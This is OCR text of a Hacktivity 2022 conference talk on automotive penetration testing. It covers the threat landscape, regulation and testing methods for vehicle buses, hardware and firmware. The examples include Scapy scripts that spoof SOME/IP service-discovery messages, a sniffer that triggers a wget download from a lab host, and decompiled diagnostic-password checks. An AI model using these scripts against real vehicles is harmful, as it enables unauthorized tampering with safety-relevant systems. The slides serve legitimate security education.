

Broad view to automotive security and penetration testing Budapest Hacktivity 2022 András Kabai, László Tóth

Automotive penetration testing About us



László has more than 22 years experience in cyber security, especially in penetration testing and red teaming for various industries.

He is also specialist in automotive security and has deep knowledge in automotive penetration testing.

He is one of the lecturer for a custom automotive penetration testing training made for various. Automotive OEMs, Tier1s and other clients.

László has published his unique research results regarding Oracle database security and he is the developer of woraauthbf, which was the fastest Oracle password cracker at time of the publishing.

László also published his research on Android mobile forensic and encryption.



Automotive penetration testing About us



Over 19 years of experience in IT security and penetration testing (OSCP, OSCE, OSEE...).

Several years of experience with automotive security testing of automotive specific buses, protocols, components and the connected vehicle ecosystem.

Designer and lecturer of custom car hacking and hardware hacking training programs (including custom electronics, PCBs, simulated ECUs) made for various Automotive OEMs, Tier1s and other clients.

At his job he is responsible for a specialized cyber team and services dealing with car hacking and hardware hacking and worked for clients world-wide.



Automotive penetration testing Agenda

I. Why we have to talk about vehiclesII. Wow, how we approach this complexityIII.Examples

Why?

o-1110

6 | 0

0































 \mathbf{O}

Ö

₫

Ð





ે

卽

₫

₽

<u>ب</u>

₽

ᇃ

₽

₽<u></u>

روكل

2

I

₫

1

At the beginning.... In the future...



∽

 \ast

Ļ

(ه)

2

-ululu-

ß













The threat landscape Not SciFi anymore?



Translation



The threat landscape Translations

- CAN
- Automotive Ethernet
- FlexRay
- Most
- Lin
-



Attacker

The threat landscape Software defined vehicles

The ECU hardware become more and more powerful, thus consolidation of different functionalities on fewer ECUs is possible



New technologies connect, automate and ultimately drive our vehicles. They become part of an interconnected vehicle ecosystem, vulnerable to the same cyber security risks as any other network. Threat landscape Example research

Charlie Miller and Chris Valasek 2015.



Samy Kamkar 2015



Troy Hunt: Nissan Leaf

DefCon 25: "Driving Down to the rabbit hole"



2016 - Ken Munro & Dave Lodge - Hacking the Mitsubishi Outlander & IOT



Threat landscape Considerable improvement - Regulation

UN RegulationUniform provisions concerning the approval of vehicles with regards to
cyber security and cyber security management system

ISO/SAE 21434:2021 Road vehicles — Cybersecurity engineering

SAE J3601 Cybersecurity Guidebook for Cyber-Physical Vehicle Systems(STABILIZED Dec 2021, Issued 2016)

The main takeaways:

- The whole vehicle lifecycle should be covered (on the road as well)
- From 2022 July, all newly developed vehicle should be developed under a working CSMS system
- From 2024 July, all vehicle still soled should be compliant
- The automotive industry heavily invest in cyber security of their products

Threat landscape Considerable improvement

The entry level are considerable higher for modern vehicles:

- Gateway has security features now
- CAN-FD or Automotive Ethernet usage can support communication security (e.g., SecOC, IPSEC)
- Simply ODB2 connections may not enough, strong authentication (e.g., including online systems) are required for privileged actions
- Digitally signed and encrypted firmware updates



Source: https://www.autosar.org/fileadmin/user_upload/standards/classic/21-11/AUTOSAR_SWS_SecureOnboardCommunication.pdf

Penetration testing/Research/Car hacking is much more than simply plug-in to the OBD2 port

How?

H I

~/ H b

6 | 0

0

How Lab and team

- Team is needed with different expertise from hardware till the cloud
- Special devices (hardware hacking),
- Automotive interfaces (CAN, FlexRay, Automotive Ethernet)
- Special software stacks for automotive developments
- Special debug equipment and debug software for the various CPU/MCU types



Source: lauterbach.com

How How to reach a working testing plan

To handle the complexity Threat And Risk Assessment is needed (Attacker Evaluations, Entry Points, Cyber Relevancy etc.) The TARA from the design phase should be available, if not, then a penetration testing focused should be done. Penetration testing activities should be integrated to the V model



How? – Just examples

Bus / interface testing





Identifying possible entry points for the CAN networks

Connect to the possible entry points – even if it requires moderate dismantling – in various configurations

Capturing and identifying communication both in motion and in stationary mode, and for various scenarios (e.g. triggering functions, component flashing, service application usage, diagnostic, coding)

Analysis of the captured messages, reversing message payloads

Identifying and analysis of used protocols such as UDS, XCP

Analysis and testing of the identified security relevant features (e.g. security access for flashing and other elevated features), authentication and authorization

Planning and executing various attacks such as validation of message security (e.g. SecOC), replaying, spoofing, fuzzing, MiTM, both in stationary and in motion and with special focus on services used for diagnostic and may serve as an entry point for unauthorized access to the component or to sensitive data.





Source: https://www.kvaser.com/ http://www.fischl.de/usbtin/

Ethernet

01 () 02 () 03 () 04 () 05 () 06 ()

07

Identifying possible entry points for the Ethernet network.

Connect to the possible entry points – even if it requires moderate dismantling – in various configurations (MitM, SPAN, simple connection).

Identifying connected components and available services (e.g. sniffing, scanning).

Identifying the used protocols (sniffing).

Analyzing the identified services and protocols, connect them to features and identify possible weaknesses (e.g. unencrypted protocol, weak authentication schema).

Creating attack scenarios based on the previous steps (e.g. collect sensitive information, replay attacks, bypass authentication, fuzzing, identified service/protocol related attacks).

Conduct the testing with the identified attack scenarios. Some of these are well known from traditional IT security/pentest, such as evaluation of network segregation, VLAN separation, hardening and configuration of services like HTTP, TFTP, SSH, "infrastructure" testing. Testing also focuses on automotive specific solutions, like SOME/IP.





Source: http://www.technica-engineering.de/en/products/media-converter/

Hardware and component testing

Component – Circuit-level assessment

01 O 02 O 03 O 04 O 05 O

06

07

- Identifying electronic parts used by the component (e.g. MCU/CPU, flash/EEPROM, memory, interface drivers, etc.)
- Identifying on-board target interfaces (e.g. JTAG, UART, I2C, etc.)
- Extracting firmware (e.g. by debugging, flash reading, firmware update, etc.)
- Investigating the component design from security perspective
- Security features of sub components
- Secure / authenticated boot
- Debug interfaces
- Location and method of data/code storage
- Security of signal routing
- Security of MCU/CPU interfaces





Component – Firmware-level assessment

Investigating and reverse engineering the firmware, time limited analysis



against the revealed weaknesses







IDA Pro for reverse engineering

Examples

0 0

Component level testing - Real life example – Connecting different testing approaches

State of the art MCU, widely used in automotive industry

- Equipped with plenty of security and safety features
- Low level diagnostic interface (JTAG/DAP) locked with password
- Applied configuration limited further testing and interfacing possibilities... at this stage

Improper diagnostic/calibration service implementation and configuration

 Manipulated requests provided access to memory areas unnecessary for the service

Improper MCU hardening

- Lack of HSM usage, too permissive
- Chaining with the diagnostic service issue -> Access to sensitive data and credentials (JTAG lock password)

Low level debugger access and full control over the MCU with the extracted locking password

- Extraction of key materials (SecOC, firmware encryption/validation)
- Extraction of raw firmware

						C Gall BOOM	Break		ang - Ot Otat Otat Ota					
there is a		AT PAR	<u>A</u>			1.04 40007	A CONTRACTOR NOT	10 25414	CARTING CONTRACTOR		Decision of			1.00
	R/1900						Accession of the second s	100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100			Radio Contraction	Presidences © Densel Gradicales © Ensel © Insume	Advan	Total Res Ref Ref Ref Ref Ref Ref Ref Ref Ref Ref
106 Bardod ■ Bara (100) Para (10, 27, 20) (10, 27, 20)	er Menney Unit. S Sociologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocologi Stocolog						Noted Internet		Robal No error No error No error) (film_)	0010	
196, 47 2015 196, 48 2015 196, 48 2016 196, 48 200 196, 490, 490, 490, 490, 490, 490, 490, 490		LABOR EL ABOR ALI HATCIS HARCINE DABRCINE ZABARI BODY BODY CLEAR	det Slave No arts/ Rod Blave Ro arts/ Ro Statute Statute Slave Slave Slave Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Slave Rod Rod Rod Rod Rod Rod Rod Rod Rod Rod	MCAU TONIC TONIC TONIC TONIC TOUCOUST TOUCOUST	As ernsr An ernsr No ernsr No ernsr No No No No No No No No No No No No No	ACTAR HALL HALL HALL HALL HALL HALL HALL HA	No arror No arror	Ind	Frankel					
100,000,000,000,000	07160-608 17 100-40008 17	a i	1	111400	8	4001		11,000	12					
HELM PROVINT	100000000 II	hi i hiterete mita rec. de trà kiterete	Not confrigured No 9 toubling Not confrigured 9 toubled Not_00000	Sector .	Aur Un Tacked Stood D taak ted T	UPPERED TA CAREES ANDER MINICH MINICH	Not confrigured 11 calcined 14 calcined 14 calcined	councils concess the second	No Distantined Distantial Distantial					
14,14,150,000	+ 80000003	Apartita 2			Selected Selected Inducted		tictal	101	Selected .					
141.31.2000 (000) 142.31.2000 (000) 142.31.2000 (000)	-	1.	No. 2418 Disabled No. error	104 1747	Not entaned Not suspended	OBJECTS CON	inlocked No effect	4004035 NG 2	So effect					
100000000	Permana -	Building a		Datie (0)	title tuble	1111	IIII							
PROF, KIDE	THE REAL PROPERTY.													
Hard Action Hard Action Hard Action	1000001	-	_											



Source: lauterbach.com

Identification of the relevant messages/events

- Search for security sensitive events or functions in the Message Catalogue.
- Sniffing on Automotive ethernet networks. It requires dismantling and special interfaces.
- Conduct MiTM attacks e.g. (ARP cache poisoning).
- Analyzing the collected traffic, looking for SD packets, called functions, event subscriptions and notifications.

Performing attacks

- Call unprotected functions
- Subscribe to unprotected events
- It can be part of a complex setup
- etc.



<u>File E</u> dit <u>View Go Capture Analyze Statistics Telephony Wireless Tools H</u> elp									
📶 📕 🙋 💿 📅 🖺 🗙 🖸 🍳 🗮 🗯 著 🛓 🔜 🔍 Q, Q, Q, II									
someip_		Expression +							
Source Destination	Protocol Length Info								
172.16.52.10 224.224.224	.245 SOME/IP-SD 98 SOME/IP-SD: OFFER SER	VICE							
172.16.52.10 224.224.224	.245 SOME/IP-SD 98 SOME/IP-SD: OFFER SER	VICE							
172.16.52.10 224.224.224	.245 SOME/IP-SD 98 SOME/IP-SD: OFFER SER	VICE							
172.16.52.208 172.16.52.10	SOME/IP-SD 98 SOME/IP-SD: SUBSCRIBE	EVENTGROUP							
172.16.52.10 172.16.52.20	88 SOME/IP-SD 86 SOME/IP-SD: SUBSCRIBE	EVENTGROUP ACK							
172.16.52.10 172.16.52.20	08 SOME/IP 77 SOME/IP								
172.16.52.10 172.16.52.20	08 SOME/IP 77 SOME/IP								
172.16.52.10 172.16.52.20	08 SOME/IP 77 SOME/IP								
4		3							
Internet Protocol Version 4, Src:	172.16.52.10, Dst: 172.16.52.208	*							
• User Datagram Protocol, Src Port:	30509, Dst Port: 5555								
- SOME/IP									
Service ID: 0x1234									
Method ID: 0x5678									
Length: $0x000001h$ (27 hytes)									
Client ID: 0x0000010 (27 bytes)									
Section ID: 0x0000									
Session ID: 0x0000									
0000 ff ff ff ff ff ff 00 00 00	00 00 00 08 00 45 00 ······E·								
0010 00 3f 00 01 00 00 40 11 b9	b2 ac 10 34 0a ac 10 ·?····@· ····4···								
0020 34 d0 77 2d 15 b3 00 2b 6b	f0 12 34 56 78 00 00 4 w-···+ k ·4Vx··								
0030 00 1b 00 00 00 00 01 01 02	00 74 65 6c 65 6d 61 •••••••telema								
0040 74 69 63 73 5f 31 32 33 34	2e 74 67 7a tics_123 4.tgz								
Return Code (somein returnCode), 1 byte	Parkets: 402 · Displayori: 8 /2 0%)	Profile: Default							
- inclain code (somelphetamode), 1 byte	Tuckets. 402 (2.070)	rione. Delaut							



```
from scapy.all import *
load contrib("automotive.someip")
event_group = 0x1234
event = 0x5678
srv_port = 30509
clnt_port = 5555
ea = SDEntry_Service(type=0x06, srv_id=event_group, inst_id=event, major_ver=0x00, ttl=3)
oa = SD0ption_IP4_EndPoint(addr="172.16.52.208", l4_proto=0x11, port=clnt_port)
sd = SD()
sd.set entryArray(ea)
sd.set_optionArray(oa)
sip = SOMEIP(iface_ver=1, proto_ver=1, msg_type="NOTIFICATION", retcode="E_OK")
i = IP(src="172.16.52.208", dst="172.16.52.1")
u = UDP(sport=30490, dport=30490)
p = i/u/sip/sd
send(p)
```

```
Example testing steps
SOME/IP – Example
```

```
from scapy.all import *
import subprocess
load_contrib("automotive.someip")
def initiate_attack():
    print("Performing the action that the event initiates!")
    output=subprocess.check_output(["wget","http://172.16.52.209/telematics_1234.tgz"], universal_newlines=True)
def check_event(packet):
    si=SOMEIP(packet[UDP].load)
    if si.srv_id==4660:
        print(f"SOMEIP srv_id: {hex(si.srv_id)}")
        initiate_attack()
```

sniff(iface='ens33', prn=check_event, filter="udp port 5555")

```
root@ubuntu:~/someip# python3 someip_sniff.py
SOMEIP srv_id: 0x1234
Performing the action that the event initiates!
--2022-10-01 20:56:04-- http://172.16.52.209/telematics_1234.tgz
Connecting to 172.16.52.209:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1048576 (1.0M) [application/x-gtar-compressed]
Saving to: 'telematics_1234.tgz'
```

telematics 1234. 100%[=======>] 1.00M --.-KB/s in 0.002s

2022-10-01 20:56:04 (528 MB/s) - 'telematics 1234.tgz' saved [1048576/1048576]

Examples - Firmware

Example testing steps Reversing – Example for initial steps

There are many CPU/MCU types:

- ARM
- TriCore
- Intel
- PowerPC
- Etc

There are many operating systems or no operating system:

- AutoSAR based binary firmwares
- QNX
- wxWorks
- Linux based solutions
- Some of the OEM, develops their own operating system

Reversing/debugging in automotive penetration testing requires a wide variety of toolset and knowledge.

Example testing steps Reversing – Example for initial steps

Identification of the relevant reverse targets

- Custom developed executables and libraries
- Listening on interfaces (e.g. CAN, Network, Serial, SPI, I2C)
- Importing interesting functions
- Interesting strings
- Start-up process
- etc.

Focused or general reversing

- Dependency graph
- Analyze crypto usage
- Analyze dangerous function usage
- Analyze authentication/authorization paths
- Analyze used files
- etc.

\$ mmls opi_rasbian_diagterm.img DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors

 Slot
 Start
 End
 Length
 Description

 000:
 Meta
 000000000
 000000000
 Primary Table (#0)

 001:
 ----- 0000000000
 0000008192
 Unallocated

 002:
 000:000
 000008191
 0014823967
 014815776
 Linux (0x83)

 003:
 ----- 0014823968
 0015126527
 0000302560
 Unallocated

 \$ sudo mount -o
 offset=4194304 opi_rasbian_diagterm.img -/mnt/opi/
 \$
 \$
 \$

 \$ sudo ls -/mnt/opi/
 bin
 bost dev etc home lib lost+found media mnt opt proc root run sbin selinux srv sys tmp usr var

Example testing steps Reversing – AGL example



• Vendor Marketplace: Have an AGL-based product or service? Apply to be included in the Vendor Marketplace. SUBMIT

What is Automotive Grade Linux?

Automotive Grade Linux is a collaborative open source project that is bringing together automakers, suppliers and technology companies to accelerate the development and adoption of a fully open software stack for the connected car. With Linux at its core, AGL is developing an open platform from the ground up that can serve as the de facto industry standard to enable rapid development of new features and technologies.





Example testing steps Reversing – AGL example

```
root@qemux86-64:~# lsof -n | grep CAN | awk '{print $1, $2, $10}'
                                                          root@gemux86-64:~# candump can0
agl-servi 331 CAN RAW
                                                            can0 030 [8] 64 64 64 F0 A3 01 00 00
                                                          ^Croot@gemux86-64:~#
agl-servi 331 16707
python3 334 CAN RAW
python3 334 17280
root@gemux86-64:~# strace -xx -p 331 -e trace=sendto
strace: Process 331 attached
sendto(8, "x30x00x00x00x08x7fx00x00x64x64x64x64xf0xe3x
01\x00\x00", 16, 0, {sa family=AF CAN, sa data="\x00\x00\x04\x00\
00 \times 00"; 24) = 16
^Cstrace: Process 331 detached
root@gemux86-64:~#
```



📕 Listina: di	agterm strip			🗮 🚺 🛔 📕 🗸	x					
tilisetan etci					-	🔓 Decompile: FUN_00010ac0 - (diagterm_strip)	S 9	b 🌌	b 1	• X
*diagterm_stri	<pre>p X undefined4 void * size_t uchar * undefined4 undefined4 undefined4</pre>	indefined4st assume LRset assume TMode r0:4 r0:4 r1:4 r2:4 Stack[-0x6c] Stack[-0x70] Stack[-0x74]	FUNCTION FUNCTION Contraction Contraction Contraction FUN_00010ac0(void contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contraction contra	oooooooooooooooooooooooooooooooooooooo		<pre>1 2 undefined4 FUN_00010ac0(void *param_1,size_t param_2,uchar *param_3) 3 4 { 5 MD5_CTX MStack100; 6 7 MD5_Init(&MStack100); 8 MD5_Update(&MStack100,param_1,param_2); 9 MD5_Final(param_3,&MStack100); 10 return 0; 11 } 12</pre>				
	F	UN 00010ac0		XREF[1]:						
÷	00010ac0 80 b5	push	{ r7, lr }							
	00010ac2 9c b0 00010ac4 00 af 00010ac6 f8 60 00010ac6 78 60 00010aca 7a 60 00010acc 07 f1 14 03 00010ad0 18 46 00010ad2 ff f7 2c ee 00010ad6 07 f1 14 03 00010ad6 f9 68 00010adc f9 68 00010ade 18 46 00010ae0 ff f7 06 ee 00010ae4 07 f1 14 03 00010ae8 19 46	sub add str str add.w mov blx add.w ldr ldr mov blx add.w mov	<pre>sp,#0x70 r7,sp,#0x0 param_1,[r7,#local_6c] param_2,[r7,#local_70] param_3,[r7,#local_74] r3,r7,#0x14 param_1,r3 MD5_Init r3,r7,#0x14 param_2,[r7,#local_70] param_2,[r7,#local_6c] param_1,r3 MD5_Update r3,r7,#0x14 param_2,r3</pre>		2					
1	00010aea 78 68	ldr	param_1,[r7,#local_74]			CF Decompile: FUN_00010ac0 × 0101 Defined Strings ×				

📕 Listing: diagterm_strip	🗅 💼 🔽 🛱 🖬 🐻 🔲 - 🗙	
*diagterm_strip 🗙		
*diagterm_strip X 000100314 33 10 add 000100316 07 f1 2c 00 000100316 07 f1 2c 00 add.w 000100316 07 f1 2c 00 add.w 000100316 07 f1 2c 00 add.w 00010032 00 f0 6c f8 bl 00010032 07 f1 08 02 add.w 00010032 07 f1 08 02 add.w 00010033 07 f1 2c 03 add.w 00010033 07 f1 08 02 add.w 00010033 10 add add odd odd 00010034 10 68 ldr odd odd odd 00010044 10 68 mov odd10044 odd odd odd odd odd <td< th=""><th><pre>T2, r7, #0X4 param_1, r7, #0X2c r3, #0X1 r2=>local_134, [r2, #0X0] r1, #0Xff FUN_00010afc param_1, [r7, #local_c] r1, [r7, #local_c] r2, r7, #0X8 r3, r7, #0X2c param_1, r3 FUN_00010ac0 r3, r7, #0X4 r2, r7, #0X8 r1, [r3, #0X0]=>local_134 param_1, r2 FUN_00010bbc r3, param_1 param_1, r3 r7, r7, #0X130 sp, r7 { r7, pc } XREF[1]: 00000872h XREF[1]: </pre></th><th>Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 000108000 - (diagterm_strip) Image: Publy 000108000 - (diagterm_strip) Image: Publy 000108000 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip)</th></td<>	<pre>T2, r7, #0X4 param_1, r7, #0X2c r3, #0X1 r2=>local_134, [r2, #0X0] r1, #0Xff FUN_00010afc param_1, [r7, #local_c] r1, [r7, #local_c] r2, r7, #0X8 r3, r7, #0X2c param_1, r3 FUN_00010ac0 r3, r7, #0X4 r2, r7, #0X8 r1, [r3, #0X0]=>local_134 param_1, r2 FUN_00010bbc r3, param_1 param_1, r3 r7, r7, #0X130 sp, r7 { r7, pc } XREF[1]: 00000872h XREF[1]: </pre>	Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010890 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 000108000 - (diagterm_strip) Image: Publy 000108000 - (diagterm_strip) Image: Publy 000108000 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip) Image: Publy 00010800 - (diagterm_strip)
DAT_00010a5c 00010a5c 98 08 00 00 undefined4 DAT_00010a60	XREF[1]:	<pre>39 UVar1 = FUN_00010bbc((int)auStack304,param_1); 40 return uVar1; 41 } 42</pre>
00010a60 be 08 00 00 undefined4	000008BEh	f Decompile: FUN_00010890 × 0th Defined Strings ×

📕 Listing: dia	gterm_strip		🗅 🜔 🔖 🖳 🕇	X		
*diagterm_strip	×				/ char.acStack100_L3bL:	~
				_	8 char acStack64 [36]:	
	L	AB_00010bf4	XREF[1]:		9 FILE *local 1c:	
	00010bf4 <mark>fb 6d</mark>	ldr	r3,[r7,#local_14]		10 uint local 18;	
	00010bf6 0f 2b	cmp	r3,#0xf		11 int local_14;	
L	00010bf8 <mark>ea dd</mark>	ble	LAB_00010bd0	- 1	12	1
	00010bfa <mark>30 4b</mark>	ldr	r3,[DAT_00010cbc]		13 local 14 = 0;	J.
	00010bfc 7b 44	add	r3,pc		14 while (local_14 < 0x10) {	I.
	00010bfe <mark>19 46</mark>	mov	param_2=>DAT_00011664,r3		<pre>15 sprintf(acStack64 + local_14 * 2,"%02x",(uint)*(byte *)(local_14 + param_1));</pre>	I.
	00010c00 <mark>2f 4b</mark>	ldr	r3,[DAT_00010cc0]		16 local_14 = local_14 + 1;	
	00010c02 7b 44	add	<pre>r3=>s_/etc/diag_passwd_00011668,pc</pre>		17 }	J.
	00010c04 18 46	mov	<pre>param_1=>s_/etc/diag_passwd_00011668,r3</pre>		<pre>18 local_1c = fopen("/etc/diag_passwd","r");</pre>	
+	00010c06 ff f7 56 ed	blx	fopen		19 if (local_lc == (FILE *)0x0) {	J.
	00010c0a 78 65	str	param_1,[r7,#local_1c]		<pre>20 fprintf(stderr,"Password file open error %s!\n","/etc/diag_passwd");</pre>	I.
	00010c0c <mark>7b 6d</mark>	ldr	r3,[r7,#local_1c]	- 1	21 /* WARNING: Subroutine does not return */	J.
	00010c0e 00 2b	cmp	r3,#0x0		22 exit(1);	J.
r =	00010c10 <mark>0c d1</mark>	bne	LAB_00010c2c		23 }	J.
	00010c12 2c 4b	ldr	r3,[DAT_00010cc4]		24 pcVar1 = fgets(acStack100,0x21,local_1c);	J.
	00010c14 <mark>e3 58</mark>	ldr	r3,[r4,r3]=>->stderr		25 if (pcVar1 == (char *)0x0) {	J.
	00010c16 1b 68	ldr	r3,[r3,#0x0]=>stderr		26 fprintf(stderr,"Password file read error %s!\n","/etc/diag_passwd");	J.
	00010c18 2b 4a	ldr	r2,[DAT_00010cc8]		27 /* WARNING: Subroutine does not return */	J.
	00010c1a <mark>7a 44</mark>	add	<pre>r2=>s_/etc/diag_passwd_00011668,pc</pre>		28 exit(1);	I.
	00010c1c 2b 49	ldr	param_2,[DAT_00010ccc]		29 }	J.
	00010c1e <mark>79 44</mark>	add	<pre>param_2=>s_Password_file_open_error_%s!_0</pre>		30 iVar2 = strcmp(acStack64,acStack100);	J.
	00010c20 <mark>18 46</mark>	mov	param_1,r3		31 if (iVar2 != 0) {	J.
	00010c22 ff f7 7e ed	blx	fprintf		32 puts("Authentication is not successful!");	J.
	00010c26 01 20	mov	param_1,#0x1		33 write(param_2,"Authentication is NOT successful!!!\n",0x24);	J.
	00010c28 ff f7 98 ed	blx	exit		34 }	J.
	_	- Flow Overri	de: CALL_RETURN (CALL_TERMINATOR)		35 else {	J.
					36 puts("Authentication is successful!");	
	L	AB_00010c2c	XREF[1]:		37 write(param_2,"Authentication is successful!\n",0x1e);	
	00010c2c 07 f1 0c 03	add.w	r3,r7,#0xc		38 }	
	00010c30 <mark>7a 6d</mark>	ldr	r2,[r7,#local_1c]	3-1	39 local_18 = (uint)(iVar2 == 0);	
	00010c32 <mark>21 21</mark>	mov	param_2,#0x21		40 return local_18;	
	00010c34 <mark>18 46</mark>	mov	param_1,r3			
					f Decompile: FUN_00010bbc × Defined Strings ×	

Summary

- Vehicles are complex, currently under heavy change
- The ecosystem around them is complex
- We should handle the whole ecosystem
- Automotive penetration testing is a team effort with wide range of expertise
- Well equipped lab is needed, BUT

Summary





It should not stop you! It still can be fun for researchers and hobbyist. (safety first)



Source: https://www.kvaser.com/ http://www.fischl.de/usbtin/